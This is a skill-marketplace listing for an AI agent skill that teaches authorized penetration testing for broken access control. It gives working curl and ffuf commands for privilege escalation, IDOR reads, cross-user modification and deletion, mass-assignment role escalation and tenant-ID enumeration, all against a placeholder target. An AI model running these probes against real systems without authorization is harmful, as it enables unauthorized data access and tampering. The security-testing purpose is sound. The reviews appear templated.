testing-for-broken-access-control▌
mukul975/Anthropic-Cybersecurity-Skills · updated May 25, 2026
MDX-style export adds YAML metadata + attribution linking explainx.ai and this canonical listing URL.
Systematically testing web applications for broken access control vulnerabilities including privilege escalation, missing function-level checks, and insecure direct object references.
| name | testing-for-broken-access-control |
| description | Systematically testing web applications for broken access control vulnerabilities including privilege escalation, missing function-level checks, and insecure direct object references. |
| domain | cybersecurity |
| subdomain | web-application-security |
| tags | - penetration-testing - access-control - authorization - owasp - privilege-escalation - web-security |
| version | '1.0' |
| author | mahipal |
| license | Apache-2.0 |
| nist_csf | - PR.PS-01 - ID.RA-01 - PR.DS-10 - DE.CM-01 |
Testing for Broken Access Control
When to Use
- During authorized penetration tests as the primary assessment for OWASP A01:2021 - Broken Access Control
- When evaluating role-based access control (RBAC) implementations across all application endpoints
- For testing multi-tenant applications where users in one organization should not access another's data
- When assessing API endpoints for missing or inconsistent authorization checks
- During security audits where privilege escalation and unauthorized access are primary concerns
Prerequisites
- Authorization: Written penetration testing agreement for the target
- Burp Suite Professional: With Authorize extension for automated access control testing
- Multiple test accounts: Accounts at each role level (admin, manager, user, guest)
- Application role matrix: Documentation of what each role should and should not access
- curl/httpie: For manual endpoint testing with different authentication contexts
- ffuf: For discovering hidden endpoints that may lack access controls
Workflow
Step 1: Map All Endpoints and Create Access Control Matrix
Document every endpoint and the expected access level for each role.
# Extract all endpoints from Burp Site Map
# Target > Site Map > Right-click > Copy URLs in this host
# Build a matrix of endpoints vs roles:
# | Endpoint | Admin | Manager | User | Guest |
# |-----------------------|-------|---------|------|-------|
# | GET /admin/dashboard | Allow | Deny | Deny | Deny |
# | GET /api/users | Allow | Allow | Deny | Deny |
# | PUT /api/users/{id} | Allow | Deny | Own | Deny |
# | DELETE /api/posts/{id} | Allow | Allow | Own | Deny |
# Discover hidden endpoints
ffuf -u "https://target.example.com/FUZZ" \
-w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt \
-mc 200,301,302,403 -fc 404 \
-H "Authorization: Bearer $USER_TOKEN" \
-o endpoints.json -of json
# API endpoint discovery
ffuf -u "https://target.example.com/api/v1/FUZZ" \
-w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt \
-mc 200,201,204,301,302,401,403,405 -fc 404 \
-H "Authorization: Bearer $USER_TOKEN"
Step 2: Configure Automated Access Control Testing
Set up Burp Authorize extension for parallel role-based testing.
# Install Authorize extension:
# Burp > Extender > BApp Store > Search "Authorize" > Install
# Configuration for three-tier testing:
# 1. Browse the application as Admin (capture all requests)
# 2. In Authorize tab:
# a. Add Regular User's session token in "Replace cookies/headers"
# b. Optionally add a second row for Unauthenticated (no auth header)
# Example header replacement setup:
# Row 1 (Low-privilege user):
# Cookie: session=low_priv_user_session
# Authorization: Bearer low_priv_token
#
# Row 2 (Unauthenticated):
# [Empty - removes all auth headers]
# Enable interception in Authorize:
# - Check "Intercept requests from Proxy"
# - Check "Intercept requests from Repeater"
# Authorize shows results as:
# Green = Properly restricted (different response for different user)
# Red = POTENTIALLY VULNERABLE (same response regardless of role)
# Orange = Uncertain (needs manual verification)
Step 3: Test Vertical Privilege Escalation
Attempt to access higher-privilege functionality with lower-privilege accounts.
# Collect tokens for each role
ADMIN_TOKEN="Bearer admin_jwt_here"
MANAGER_TOKEN="Bearer manager_jwt_here"
USER_TOKEN="Bearer user_jwt_here"
# Test admin endpoints with user token
ADMIN_ENDPOINTS=(
"GET /admin/dashboard"
"GET /admin/users"
"POST /admin/users/create"
"PUT /admin/settings"
"DELETE /admin/users/5"
"GET /admin/logs"
"GET /admin/reports/export"
"POST /admin/backup"
)
for entry in "${ADMIN_ENDPOINTS[@]}"; do
method=$(echo "$entry" | cut -d' ' -f1)
endpoint=$(echo "$entry" | cut -d' ' -f2)
echo -n "$method $endpoint (as user): "
status=$(curl -s -o /dev/null -w "%{http_code}" \
-X "$method" \
-H "Authorization: $USER_TOKEN" \
-H "Content-Type: application/json" \
"https://target.example.com$endpoint")
if [ "$status" == "200" ] || [ "$status" == "201" ]; then
echo "VULNERABLE ($status)"
else
echo "OK ($status)"
fi
done
# Test with method override headers
curl -s -o /dev/null -w "%{http_code}" \
-X POST \
-H "Authorization: $USER_TOKEN" \
-H "X-HTTP-Method-Override: DELETE" \
"https://target.example.com/admin/users/5"
# Test with different HTTP methods
for method in GET POST PUT PATCH DELETE OPTIONS HEAD; do
echo -n "$method /admin/users: "
curl -s -o /dev/null -w "%{http_code}" \
-X "$method" \
-H "Authorization: $USER_TOKEN" \
"https://target.example.com/admin/users"
echo
done
Step 4: Test Horizontal Privilege Escalation
Verify that users cannot access resources belonging to other users at the same privilege level.
# User A (ID: 101) testing access to User B's (ID: 102) resources
USER_A_TOKEN="Bearer user_a_jwt"
RESOURCES=(
"/api/users/102/profile"
"/api/users/102/orders"
"/api/users/102/messages"
"/api/users/102/documents"
"/api/users/102/settings"
"/api/users/102/payment-methods"
)
for resource in "${RESOURCES[@]}"; do
echo -n "GET $resource: "
response=$(curl -s -w "\n%{http_code}" \
-H "Authorization: $USER_A_TOKEN" \
"https://target.example.com$resource")
status=$(echo "$response" | tail -1)
body_len=$(echo "$response" | head -n -1 | wc -c)
if [ "$status" == "200" ] && [ "$body_len" -gt 50 ]; then
echo "VULNERABLE ($status, $body_len bytes)"
else
echo "OK ($status)"
fi
done
# Test write operations across users
curl -s -X PUT \
-H "Authorization: $USER_A_TOKEN" \
-H "Content-Type: application/json" \
-d '{"name":"Hacked","email":"[email protected]"}' \
"https://target.example.com/api/users/102/profile" -w "%{http_code}"
# Test delete operations
curl -s -X DELETE \
-H "Authorization: $USER_A_TOKEN" \
"https://target.example.com/api/users/102/documents/1" -w "%{http_code}"
Step 5: Test Function-Level Access Control
Verify that specific functions enforce authorization properly.
# Test unauthenticated access to protected endpoints
PROTECTED_ENDPOINTS=(
"/api/user/profile"
"/api/transactions"
"/api/settings"
"/admin/dashboard"
"/api/export/users"
)
for endpoint in "${PROTECTED_ENDPOINTS[@]}"; do
echo -n "No auth: GET $endpoint: "
curl -s -o /dev/null -w "%{http_code}" \
"https://target.example.com$endpoint"
echo
done
# Test with expired/invalid tokens
curl -s -o /dev/null -w "%{http_code}" \
-H "Authorization: Bearer invalid_token_here" \
"https://target.example.com/api/user/profile"
# Test role manipulation in JWT claims
# If JWT contains role claim, try modifying it
# (requires JWT vulnerability - see JWT testing skill)
# Test parameter-based role escalation
curl -s -X PUT \
-H "Authorization: $USER_TOKEN" \
-H "Content-Type: application/json" \
-d '{"role":"admin","is_admin":true,"permissions":["admin","superuser"]}' \
"https://target.example.com/api/users/101/profile"
# Test registration with elevated role
curl -s -X POST \
-H "Content-Type: application/json" \
-d '{"email":"[email protected]","password":"Test123!","role":"admin"}' \
"https://target.example.com/api/auth/register"
Step 6: Test Multi-Tenant Isolation
Verify that tenant boundaries are enforced in multi-tenant applications.
# User in Tenant A testing access to Tenant B's resources
TENANT_A_TOKEN="Bearer tenant_a_user_jwt"
# Direct tenant resource access
curl -s -H "Authorization: $TENANT_A_TOKEN" \
"https://target.example.com/api/organizations/tenant-b-id/users" | jq .
curl -s -H "Authorization: $TENANT_A_TOKEN" \
"https://target.example.com/api/organizations/tenant-b-id/settings" | jq .
# Test tenant switching via header
curl -s -H "Authorization: $TENANT_A_TOKEN" \
-H "X-Tenant-ID: tenant-b-id" \
"https://target.example.com/api/users" | jq .
# Test tenant ID in request body
curl -s -X POST \
-H "Authorization: $TENANT_A_TOKEN" \
-H "Content-Type: application/json" \
-d '{"tenant_id":"tenant-b-id","query":"SELECT * FROM users"}' \
"https://target.example.com/api/reports/custom"
# Enumerate tenant IDs
ffuf -u "https://target.example.com/api/organizations/FUZZ" \
-w <(seq 1 100) \
-H "Authorization: $TENANT_A_TOKEN" \
-mc 200 -t 10 -rate 20
Key Concepts
| Concept | Description |
|---|---|
| Vertical Privilege Escalation | Lower-privilege user accessing higher-privilege functionality (user -> admin) |
| Horizontal Privilege Escalation | User accessing another user's resources at the same privilege level |
| Function-Level Access Control | Authorization checks on specific features/functions regardless of URL |
| RBAC | Role-Based Access Control - permissions assigned to roles, roles assigned to users |
| ABAC | Attribute-Based Access Control - permissions based on user/resource/environment attributes |
| Multi-Tenant Isolation | Ensuring data and functionality separation between different organizations/tenants |
| Insecure Direct Object Reference | Accessing objects by manipulating identifiers without authorization checks |
| Missing Function-Level Check | Endpoint exists but does not verify the caller has permission to invoke it |
Tools & Systems
| Tool | Purpose |
|---|---|
| Burp Suite Professional | Request interception and role-based testing |
| Authorize (Burp Extension) | Automated access control testing across sessions |
| AutoRepeater (Burp Extension) | Automatically replays requests with different auth contexts |
| Postman | API testing with environment switching between roles |
| ffuf | Discovering hidden endpoints that may lack access controls |
| OWASP ZAP | Access control testing with context-aware scanning |
Common Scenarios
Scenario 1: Admin Panel Without Auth Check
The /admin/dashboard endpoint returns the admin panel when accessed with a regular user's session token. The front-end hides the admin menu, but the back-end does not enforce role checks.
Scenario 2: API Endpoint Missing Authorization
The DELETE /api/users/{id} endpoint checks for authentication (valid token) but not authorization (admin role). Any authenticated user can delete any other user's account.
Scenario 3: Tenant Data Leakage
A SaaS application uses tenant_id in API request headers. Changing the X-Tenant-ID header to another tenant's ID returns their data, bypassing tenant isolation.
Scenario 4: Mass Assignment Role Escalation
The user profile update endpoint at PUT /api/users/{id} accepts a role field in the JSON body. Submitting "role":"admin" alongside a profile update elevates the user to administrator.
Output Format
## Broken Access Control Assessment Report
**Target**: target.example.com
**Assessment Date**: 2024-01-15
**OWASP Category**: A01:2021 - Broken Access Control
### Access Control Matrix Results
| Endpoint | Admin | Manager | User | Guest | Expected | Actual |
|----------|-------|---------|------|-------|----------|--------|
| GET /admin/dashboard | 200 | 200 | 200 | 302 | Admin only | FAIL |
| DELETE /api/users/{id} | 200 | 200 | 200 | 401 | Admin only | FAIL |
| GET /api/users/other/profile | 200 | 200 | 200 | 401 | Own only | FAIL |
| PUT /api/users/other/settings | 200 | 200 | 200 | 401 | Own only | FAIL |
| GET /api/org/other-tenant | 200 | 200 | 200 | 401 | Same tenant | FAIL |
### Critical Findings
1. **Vertical Escalation**: Regular users can access /admin/* endpoints
2. **Horizontal IDOR**: Users can read/modify other users' profiles
3. **Tenant Isolation**: Cross-tenant data access via header manipulation
4. **Mass Assignment**: Role escalation via profile update endpoint
### Impact
- Complete administrative access for any authenticated user
- Full user data access across all accounts (15,000+ users)
- Cross-tenant data breach affecting 200+ organizations
- Account takeover via profile modification
### Recommendation
1. Implement server-side authorization checks on every endpoint
2. Use a centralized authorization middleware/framework
3. Enforce object-level authorization (verify ownership before access)
4. Validate tenant context server-side, never from client headers
5. Use allowlists for mass assignment (only permit expected fields)
6. Implement audit logging for all access control decisions
How to use testing-for-broken-access-control on Cursor
AI-first code editor with Composer
Prerequisites
Before installing skills in Cursor, ensure your development environment meets these requirements:
- ›Cursor installed and configured on your development machine
- ›Node.js version 16.0+ with npm package manager (verify with
node --version) - ›Active project directory or workspace where you want to add testing-for-broken-access-control
Execute installation command
Execute the skills CLI command in your project's root directory to begin installation:
The skills CLI fetches testing-for-broken-access-control from GitHub repository mukul975/Anthropic-Cybersecurity-Skills and configures it for Cursor.
Select Cursor when prompted
The CLI will show a list of available agents. Use arrow keys to navigate and space to select Cursor:
Verify installation
Confirm successful installation by checking the skill directory location:
Reload or restart Cursor to activate testing-for-broken-access-control. Access the skill through slash commands (e.g., /testing-for-broken-access-control) or your agent's skill management interface.
Security & Verification Notice
We perform automated surface-level scans (Gen AI Scanner, Socket, Snyk) during installation. These checks detect common vulnerabilities but do not guarantee complete security. Always review skill source code and verify the publisher's reputation before production use.
Skills execute code in your development environment. Always verify the publisher's identity, review recent commits, and test in isolated environments before production deployment.
List & Monetize Your Skill
Submit your Claude Code skill and start earning
Use Cases▌
Task Automation & Efficiency
Automate repetitive workflows and reduce manual effort
Example
Generate reports, summarize documents, draft communications
Save 3-5 hours per week on routine tasks
Knowledge Enhancement
Learn new skills, understand complex topics, get expert guidance
Example
Explain concepts, provide examples, suggest learning resources
Accelerate learning and skill development by 2x
Quality Improvement
Enhance output quality through reviews, suggestions, and refinements
Example
Review drafts, suggest improvements, catch errors
Improve work quality by 30-40% with less effort
Implementation Guide▌
Prerequisites
- ›Claude Desktop or compatible AI client with skill support
- ›Clear understanding of task or problem to solve
- ›Willingness to iterate and refine outputs
Time Estimate
15-45 minutes depending on use case complexity
Installation Steps
- 1.Install skill using provided installation command
- 2.Test with simple use case relevant to your work
- 3.Evaluate output quality and relevance
- 4.Iterate on prompts to improve results
- 5.Integrate into regular workflow if valuable
Common Pitfalls
- ⚠Expecting perfect results without iteration
- ⚠Not providing enough context in prompts
- ⚠Using skill for tasks outside its intended scope
- ⚠Accepting outputs without review and validation
Best Practices▌
✓ Do
- +Start with clear, specific prompts
- +Provide relevant context and constraints
- +Review and refine all outputs before using
- +Iterate to improve output quality
- +Document successful prompt patterns
✗ Don't
- −Don't use without understanding skill limitations
- −Don't skip validation of outputs
- −Don't share sensitive information in prompts
- −Don't expect skill to replace human judgment
💡 Pro Tips
- ★Be specific about desired format and style
- ★Ask for multiple options to choose from
- ★Request explanations to understand reasoning
- ★Combine AI efficiency with human expertise
When to Use This▌
✓ Use When
Use when skill capabilities match your task, clear ROI on time saved, and you can validate outputs. Best for repetitive tasks, learning, and quality improvement.
✗ Avoid When
Avoid when task requires deep expertise you can't validate, involves sensitive decisions, or when learning process is more valuable than speed of completion.
Learning Path▌
- 1Familiarize yourself with skill capabilities and limitations
- 2Start with low-risk, non-critical tasks
- 3Progress to more complex and valuable use cases
- 4Build expertise through regular use and experimentation
Discussion
Product Hunt–style comments (not star reviews)- No comments yet — start the thread.
Ratings
4.5★★★★★28 reviews- ★★★★★Ganesh Mohane· Dec 24, 2024
testing-for-broken-access-control is among the better-maintained entries we tried; worth keeping pinned for repeat workflows.
- ★★★★★Shikha Mishra· Dec 20, 2024
testing-for-broken-access-control has been reliable in day-to-day use. Documentation quality is above average for community skills.
- ★★★★★Evelyn Shah· Dec 16, 2024
I recommend testing-for-broken-access-control for anyone iterating fast on agent tooling; clear intent and a small, reviewable surface area.
- ★★★★★Yash Thakker· Nov 11, 2024
Solid pick for teams standardizing on skills: testing-for-broken-access-control is focused, and the summary matches what you get after install.
- ★★★★★Chen White· Nov 7, 2024
Keeps context tight: testing-for-broken-access-control is the kind of skill you can hand to a new teammate without a long onboarding doc.
- ★★★★★Maya Malhotra· Oct 26, 2024
Registry listing for testing-for-broken-access-control matched our evaluation — installs cleanly and behaves as described in the markdown.
- ★★★★★Dhruvi Jain· Oct 2, 2024
We added testing-for-broken-access-control from the explainx registry; install was straightforward and the SKILL.md answered most questions upfront.
- ★★★★★Sofia Johnson· Sep 13, 2024
I recommend testing-for-broken-access-control for anyone iterating fast on agent tooling; clear intent and a small, reviewable surface area.
- ★★★★★Valentina Farah· Aug 4, 2024
testing-for-broken-access-control reduced setup friction for our internal harness; good balance of opinion and flexibility.
- ★★★★★Li Jain· Jul 23, 2024
Registry listing for testing-for-broken-access-control matched our evaluation — installs cleanly and behaves as described in the markdown.
showing 1-10 of 28